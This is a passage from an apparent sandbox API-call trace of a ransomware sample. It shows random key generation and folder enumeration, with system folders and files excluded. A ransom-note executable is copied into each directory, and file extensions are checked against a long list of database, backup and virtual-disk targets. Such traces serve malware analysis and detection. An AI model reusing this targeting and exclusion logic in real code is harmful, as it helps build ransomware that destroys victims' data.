0x519090 [0066.534] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0066.534] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0066.534] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0066.534] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x452c90, lpName=0x0) returned 0x154 [0066.536] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x400000, dwNumberOfBytesToMap=0x52c90) returned 0x2d50000 [0066.571] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3160000 [0066.660] UnmapViewOfFile (lpBaseAddress=0x3160000) returned 1 [0066.678] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0066.679] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0066.679] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0066.680] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0066.680] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0066.680] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0066.680] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0066.680] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0066.680] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0066.680] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0066.680] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0066.680] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0066.680] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0066.680] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0066.683] CloseHandle (hObject=0x154) returned 1 [0066.683] CloseHandle (hObject=0x17c) returned 1 [0066.683] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0066.683] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0066.683] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0066.692] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5ead0130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5ead0130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ACCWIZ", cAlternateFileName="")) returned 1 [0066.692] lstrcmpiW (lpString1="ACCWIZ", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0066.692] lstrcmpiW (lpString1="ACCWIZ", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0066.692] lstrcmpiW (lpString1="ACCWIZ", lpString2=".") returned 1 [0066.692] lstrcmpiW (lpString1="ACCWIZ", lpString2="..") returned 1 [0066.692] lstrcmpiW (lpString1="ACCWIZ", lpString2="windows") returned -1 [0066.692] lstrcmpiW (lpString1="ACCWIZ", lpString2="bootmgr") returned -1 [0066.692] lstrcmpiW (lpString1="ACCWIZ", lpString2="temp") returned -1 [0066.692] lstrcmpiW (lpString1="ACCWIZ", lpString2="pagefile.sys") returned -1 [0066.692] lstrcmpiW (lpString1="ACCWIZ", lpString2="boot") returned -1 [0066.692] lstrcmpiW (lpString1="ACCWIZ", lpString2="ids.txt") returned -1 [0066.692] lstrcmpiW (lpString1="ACCWIZ", lpString2="ntuser.dat") returned -1 [0066.692] lstrcmpiW (lpString1="ACCWIZ", lpString2="perflogs") returned -1 [0066.692] lstrcmpiW (lpString1="ACCWIZ", lpString2="MSBuild") returned -1 [0066.692] lstrlenW (lpString="ACCWIZ") returned 6 [0066.692] lstrcpyW (in: lpString1=0x241e89e, lpString2="ACCWIZ" | out: lpString1="ACCWIZ") returned="ACCWIZ" [0066.692] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52ce10 [0066.692] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x64) returned 0x539d90 [0066.692] lstrcatW (in: lpString1="ACCWIZ", lpString2="\\" | out: lpString1="ACCWIZ\\") returned="ACCWIZ\\" [0066.692] lstrcatW (in: lpString1="ACCWIZ\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="ACCWIZ\\HOW TO BACK YOUR FILES.exe") returned="ACCWIZ\\HOW TO BACK YOUR FILES.exe" [0066.692] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\how to back your files.exe"), bFailIfExists=1) returned 1 [0066.696] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadd30b00, ftCreationTime.dwHighDateTime=0x1cab7ea, ftLastAccessTime.dwLowDateTime=0x5e953370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xadd30b00, ftLastWriteTime.dwHighDateTime=0x1cab7ea, nFileSizeHigh=0x0, nFileSizeLow=0x33580, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ACCWIZ.DLL", cAlternateFileName="")) returned 1 [0066.696] lstrcmpiW (lpString1="ACCWIZ.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0066.696] lstrcmpiW (lpString1="ACCWIZ.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0066.696] lstrcmpiW (lpString1="ACCWIZ.DLL", lpString2=".") returned 1 [0066.696] lstrcmpiW (lpString1="ACCWIZ.DLL", lpString2="..") returned 1 [0066.696] lstrcmpiW (lpString1="ACCWIZ.DLL", lpString2="windows") returned -1 [0066.696] lstrcmpiW (lpString1="ACCWIZ.DLL", lpString2="bootmgr") returned -1 [0066.696] lstrcmpiW (lpString1="ACCWIZ.DLL", lpString2="temp") returned -1 [0066.697] lstrcmpiW (lpString1="ACCWIZ.DLL", lpString2="pagefile.sys") returned -1 [0066.697] lstrcmpiW (lpString1="ACCWIZ.DLL", lpString2="boot") returned -1 [0066.697] lstrcmpiW (lpString1="ACCWIZ.DLL", lpString2="ids.txt") returned -1 [0066.697] lstrcmpiW (lpString1="ACCWIZ.DLL", lpString2="ntuser.dat") returned -1 [0066.697] lstrcmpiW (lpString1="ACCWIZ.DLL", lpString2="perflogs") returned -1 [0066.697] lstrcmpiW (lpString1="ACCWIZ.DLL", lpString2="MSBuild") returned -1 [0066.697] lstrlenW (lpString="ACCWIZ.DLL") returned 10 [0066.697] lstrcpyW (in: lpString1=0x241e89e, lpString2="ACCWIZ.DLL" | out: lpString1="ACCWIZ.DLL") returned="ACCWIZ.DLL" [0066.697] lstrlenW (lpString="ACCWIZ.DLL") returned 10 [0066.697] lstrlenW (lpString="Athena865") returned 9 [0066.697] lstrcmpiW (lpString1="CCWIZ.DLL", lpString2="Athena865") returned 1 [0066.697] lstrlenW (lpString=".dll") returned 4 [0066.697] lstrcmpiW (lpString1="ACCWIZ.DLL", lpString2=".dll") returned 1 [0066.697] lstrlenW (lpString=".lnk") returned 4 [0066.697] lstrcmpiW (lpString1="ACCWIZ.DLL", lpString2=".lnk") returned 1 [0066.697] lstrlenW (lpString=".ini") returned 4 [0066.697] lstrcmpiW (lpString1="ACCWIZ.DLL", lpString2=".ini") returned 1 [0066.697] lstrlenW (lpString=".sys") returned 4 [0066.697] lstrcmpiW (lpString1="ACCWIZ.DLL", lpString2=".sys") returned 1 [0066.697] lstrlenW (lpString="ACCWIZ.DLL") returned 10 [0066.697] lstrlenW (lpString="bak") returned 3 [0066.697] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0066.697] lstrlenW (lpString="ba_") returned 3 [0066.697] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0066.697] lstrlenW (lpString="dbb") returned 3 [0066.697] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0066.697] lstrlenW (lpString="vmdk") returned 4 [0066.697] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0066.697] lstrlenW (lpString="rar") returned 3 [0066.697] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0066.697] lstrlenW (lpString="zip") returned 3 [0066.697] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0066.697] lstrlenW (lpString="tgz") returned 3 [0066.698] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0066.698] lstrlenW (lpString="vbox") returned 4 [0066.698] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0066.698] lstrlenW (lpString="vdi") returned 3 [0066.698] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0066.698] lstrlenW (lpString="vhd") returned 3 [0066.698] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0066.698] lstrlenW (lpString="vhdx") returned 4 [0066.698] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0066.698] lstrlenW (lpString="avhd") returned 4 [0066.698] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0066.698] lstrlenW (lpString="db") returned 2 [0066.698] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0066.698] lstrlenW (lpString="db2") returned 3 [0066.698] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0066.698] lstrlenW (lpString="db3") returned 3 [0066.698] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0066.698] lstrlenW (lpString="dbf") returned 3 [0066.698] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0066.698] lstrlenW (lpString="mdf") returned 3 [0066.698] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0066.698] lstrlenW (lpString="mdb") returned 3 [0066.698] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0066.698] lstrlenW (lpString="sql") returned 3 [0066.698] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0066.698] lstrlenW (lpString="sqlite") returned 6 [0066.698] lstrcmpiW (lpString1="IZ.DLL", lpString2="sqlite") returned -1 [0066.698] lstrlenW (lpString="sqlite3") returned 7 [0066.698] lstrcmpiW (lpString1="WIZ.DLL", lpString2="sqlite3") returned 1 [0066.698] lstrlenW (lpString="sqlitedb") returned 8 [0066.698] lstrcmpiW (lpString1="CWIZ.DLL", lpString2="sqlitedb") returned -1 [0066.698] lstrlenW (lpString="xml") returned 3 [0066.698] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0066.699] lstrlenW (lpString="$er") returned 3 [0066.699] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0066.699] lstrlenW (lpString="4dd") returned 3 [0066.699] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0066.699] lstrlenW (lpString="4dl") returned 3 [0066.699] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0066.699] lstrlenW (lpString="^^^") returned 3 [0066.699] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0066.699] lstrlenW (lpString="abs") returned 3 [0066.699] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0066.699] lstrlenW (lpString="abx") returned 3 [0066.699] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0066.699] lstrlenW (lpString="accdb") returned 5 [0066.699] lstrcmpiW (lpString1="Z.DLL", lpString2="accdb") returned 1 [0066.699] lstrlenW (lpString="accdc") returned 5 [0066.699] lstrcmpiW (lpString1="Z.DLL", lpString2="accdc") returned 1 [0066.699] lstrlenW (lpString="accde") returned 5 [0066.699] lstrcmpiW (lpString1="Z.DLL", lpString2="accde") returned 1 [0066.699] lstrlenW (lpString="accdr") returned 5 [0066.699] lstrcmpiW (lpString1="Z.DLL", lpString2="accdr") returned 1 [0066.699] lstrlenW (lpString="accdt") returned 5 [0066.699] lstrcmpiW (lpString1="Z.DLL", lpString2="accdt") returned 1 [0066.699] lstrlenW (lpString="accdw") returned 5 [0066.699] lstrcmpiW (lpString1="Z.DLL", lpString2="accdw") returned 1 [0066.699] lstrlenW (lpString="accft") returned 5 [0066.699] lstrcmpiW (lpString1="Z.DLL", lpString2="accft") returned 1 [0066.699] lstrlenW (lpString="adb") returned 3 [0066.699] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0066.699] lstrlenW (lpString="adb") returned 3 [0066.699] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0066.699] lstrlenW (lpString="ade") returned 3 [0066.699] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0066.699] lstrlenW (lpString="adf") returned 3 [0066.700] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0066.700] lstrlenW (lpString="adn") returned 3 [0066.700] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0066.700] lstrlenW (lpString="adp") returned 3 [0066.700] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0066.700] lstrlenW (lpString="alf") returned 3 [0066.700] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0066.700] lstrlenW (lpString="ask") returned 3 [0066.700] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0066.700] lstrlenW (lpString="btr") returned 3 [0066.700] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0066.700] lstrlenW (lpString="cat") returned 3 [0066.700] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0066.700] lstrlenW (lpString="cdb") returned 3 [0066.700] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0066.700] lstrlenW (lpString="ckp") returned 3 [0066.700] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0066.700] lstrlenW (lpString="cma") returned 3 [0066.700] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0066.700] lstrlenW (lpString="cpd") returned 3 [0066.700] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0066.700] lstrlenW (lpString="dacpac") returned 6 [0066.700] lstrcmpiW (lpString1="IZ.DLL", lpString2="dacpac") returned 1 [0066.700] lstrlenW (lpString="dad") returned 3 [0066.700] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0066.700] lstrlenW (lpString="dadiagrams") returned 10 [0066.700] lstrlenW (lpString="daschema") returned 8 [0066.700] lstrcmpiW (lpString1="CWIZ.DLL", lpString2="daschema") returned -1 [0066.700] lstrlenW (lpString="db-journal") returned 10 [0066.700] lstrlenW (lpString="db-shm") returned 6 [0066.700] lstrcmpiW (lpString1="IZ.DLL", lpString2="db-shm") returned 1 [0066.700] lstrlenW (lpString="db-wal") returned 6 [0066.700] lstrcmpiW (lpString1="IZ.DLL", lpString2="db-wal") returned 1 [0066.700] lstrlenW (lpString="dbc") returned 3 [0066.701] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0066.701] lstrlenW (lpString="dbs") returned 3 [0066.701] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0066.701] lstrlenW (lpString="dbt") returned 3 [0066.701] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0066.701] lstrlenW (lpString="dbv") returned 3 [0066.701] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0066.701] lstrlenW (lpString="dbx") returned 3 [0066.701] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0066.701] lstrlenW (lpString="dcb") returned 3 [0066.701] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0066.701] lstrlenW (lpString="dct") returned 3 [0066.701] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0066.701] lstrlenW (lpString="dcx") returned 3 [0066.701] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0066.701] lstrlenW (lpString="ddl") returned 3 [0066.701] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0066.701] lstrlenW (lpString="dlis") returned 4 [0066.701] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0066.701] lstrlenW (lpString="dp1") returned 3 [0066.701] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0066.701] lstrlenW (lpString="dqy") returned 3 [0066.701] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0066.701] lstrlenW (lpString="dsk") returned 3 [0066.701] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0066.701] lstrlenW (lpString="dsn") returned 3 [0066.701] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0066.701] lstrlenW (lpString="dtsx") returned 4 [0066.701] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0066.701] lstrlenW (lpString="dxl") returned 3 [0066.701] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0066.701] lstrlenW (lpString="eco") returned 3 [0066.701] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0066.701] lstrlenW (lpString="ecx") returned 3 [0066.701] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0066.702] lstrlenW (lpString="edb") returned 3 [0066.702] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0066.702] lstrlenW (lpString="epim") returned 4 [0066.702] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0066.702] lstrlenW (lpString="fcd") returned 3 [0066.702] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0066.702] lstrlenW (lpString="fdb") returned 3 [0066.702] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0066.702] lstrlenW (lpString="fic") returned 3 [0066.702] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0066.702] lstrlenW (lpString="flexolibrary") returned 12 [0066.702] lstrlenW (lpString="fm5") returned 3 [0066.702] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0066.702] lstrlenW (lpString="fmp") returned 3 [0066.702] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0066.702] lstrlenW (lpString="fmp12") returned 5 [0066.702] lstrcmpiW (lpString1="Z.DLL", lpString2="fmp12") returned 1 [0066.702] lstrlenW (lpString="fmpsl") returned 5 [0066.702] lstrcmpiW (lpString1="Z.DLL", lpString2="fmpsl") returned 1 [0066.702] lstrlenW (lpString="fol") returned 3 [0066.702] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0066.702] lstrlenW (lpString="fp3") returned 3 [0066.702] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0066.702] lstrlenW (lpString="fp4") returned 3 [0066.702] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0066.702] lstrlenW (lpString="fp5") returned 3 [0066.702] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0066.702] lstrlenW (lpString="fp7") returned 3 [0066.702] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0066.702] lstrlenW (lpString="fpt") returned 3 [0066.702] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0066.702] lstrlenW (lpString="frm") returned 3 [0066.702] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0066.702] lstrlenW (lpString="gdb") returned 3 [0066.702] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0066.703] lstrlenW (lpString="gdb") returned 3 [0066.703] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0066.703] lstrlenW (lpString="grdb") returned 4 [0066.703] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0066.703] lstrlenW (lpString="gwi") returned 3 [0066.703] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0066.703] lstrlenW (lpString="hdb") returned 3 [0066.703] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0066.703] lstrlenW (lpString="his") returned 3 [0066.703] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0066.703] lstrlenW (lpString="ib") returned 2 [0066.703] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0066.703] lstrlenW (lpString="idb") returned 3 [0066.703] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0066.703] lstrlenW (lpString="ihx") returned 3 [0066.703] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0066.703] lstrlenW (lpString="itdb") returned 4 [0066.703] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0066.703] lstrlenW (lpString="itw") returned 3 [0066.703] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0066.703] lstrlenW (lpString="jet") returned 3 [0066.703] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0066.703] lstrlenW (lpString="jtx") returned 3 [0066.703] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0066.703] lstrlenW (lpString="kdb") returned 3 [0066.703] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0066.703] lstrlenW (lpString="kexi") returned 4 [0066.703] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0066.703] lstrlenW (lpString="kexic") returned 5 [0066.703] lstrcmpiW (lpString1="Z.DLL", lpString2="kexic") returned 1 [0066.703] lstrlenW (lpString="kexis") returned 5 [0066.703] lstrcmpiW (lpString1="Z.DLL", lpString2="kexis") returned 1 [0066.703] lstrlenW (lpString="lgc") returned 3 [0066.703] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0066.703] lstrlenW (lpString="lwx") returned 3 [0066.703] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0066.704] lstrlenW (lpString="maf") returned 3 [0066.704] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0066.704] lstrlenW (lpString="maq") returned 3 [0066.704] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0066.704] lstrlenW (lpString="mar") returned 3 [0066.704] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0066.704] lstrlenW (lpString="marshal") returned 7 [0066.704] lstrcmpiW (lpString1="WIZ.DLL", lpString2="marshal") returned 1 [0066.704] lstrlenW (lpString="mas") returned 3 [0066.704] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0066.704] lstrlenW (lpString="mav") returned 3 [0066.704] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0066.704] lstrlenW (lpString="maw") returned 3 [0066.704] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0066.704] lstrlenW (lpString="mdbhtml") returned 7 [0066.704] lstrcmpiW (lpString1="WIZ.DLL", lpString2="mdbhtml") returned 1 [0066.704] lstrlenW (lpString="mdn") returned 3 [0066.704] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0066.704] lstrlenW (lpString="mdt") returned 3 [0066.704] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0066.704] lstrlenW (lpString="mfd") returned 3 [0066.704] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0066.704] lstrlenW (lpString="mpd") returned 3 [0066.704] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0066.704] lstrlenW (lpString="mrg") returned 3 [0066.704] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0066.704] lstrlenW (lpString="mud") returned 3 [0066.704] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0066.704] lstrlenW (lpString="mwb") returned 3 [0066.704] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0066.704] lstrlenW (lpString="myd") returned 3 [0066.704] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0066.704] lstrlenW (lpString="ndf") returned 3 [0066.704] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0066.704] lstrlenW (lpString="nnt") returned 3 [0066.705] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0066.705] lstrlenW (lpString="nrmlib") returned 6 [0066.705] lstrcmpiW (lpString1="IZ.DLL", lpString2="nrmlib") returned -1 [0066.705] lstrlenW (lpString="ns2") returned 3 [0066.705] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0066.705] lstrlenW (lpString="ns3") returned 3 [0066.705] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0066.705] lstrlenW (lpString="ns4") returned 3 [0066.705] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0066.705] lstrlenW (lpString="nsf") returned 3 [0066.705] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0066.705] lstrlenW (lpString="nv") returned 2 [0066.705] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0066.705] lstrlenW (lpString="nv2") returned 3 [0066.705] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0066.705] lstrlenW (lpString="nwdb") returned 4 [0066.705] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0066.705] lstrlenW (lpString="nyf") returned 3 [0066.705] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0066.705] lstrlenW (lpString="odb") returned 3 [0066.705] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0066.705] lstrlenW (lpString="odb") returned 3 [0066.705] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0066.705] lstrlenW (lpString="oqy") returned 3 [0066.705] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0066.705] lstrlenW (lpString="ora") returned 3 [0066.705] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0066.705] lstrlenW (lpString="orx") returned 3 [0066.705] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0066.705] lstrlenW (lpString="owc") returned 3 [0066.705] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0066.705] lstrlenW (lpString="p96") returned 3 [0066.705] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0066.705] lstrlenW (lpString="p97") returned 3 [0066.705] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0066.706] lstrlenW (lpString="pan") returned 3 [0066.706] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0066.706] lstrlenW (lpString="pdb") returned 3 [0066.706] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0066.706] lstrlenW (lpString="pdm") returned 3 [0066.706] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0066.706] lstrlenW (lpString="pnz") returned 3 [0066.706] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0066.706] lstrlenW (lpString="qry") returned 3 [0066.706] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0066.706] lstrlenW (lpString="qvd") returned 3 [0066.706] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0066.706] lstrlenW (lpString="rbf") returned 3 [0066.706] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0066.706] lstrlenW (lpString="rctd") returned 4 [0066.706] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0066.706] lstrlenW (lpString="rod") returned 3 [0066.706] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0066.706] lstrlenW (lpString="rodx") returned 4 [0066.706] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0066.706] lstrlenW (lpString="rpd") returned 3 [0066.706] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0066.706] lstrlenW (lpString="rsd") returned 3 [0066.706] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0066.706] lstrlenW (lpString="sas7bdat") returned 8 [0066.706] lstrcmpiW (lpString1="CWIZ.DLL", lpString2="sas7bdat") returned -1 [0066.706] lstrlenW (lpString="sbf") returned 3 [0066.706] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0066.706] lstrlenW (lpString="scx") returned 3 [0066.706] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0066.706] lstrlenW (lpString="sdb") returned 3 [0066.706] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0066.706] lstrlenW (lpString="sdc") returned 3 [0066.706] lstrcmpiW (lpString1="DLL", 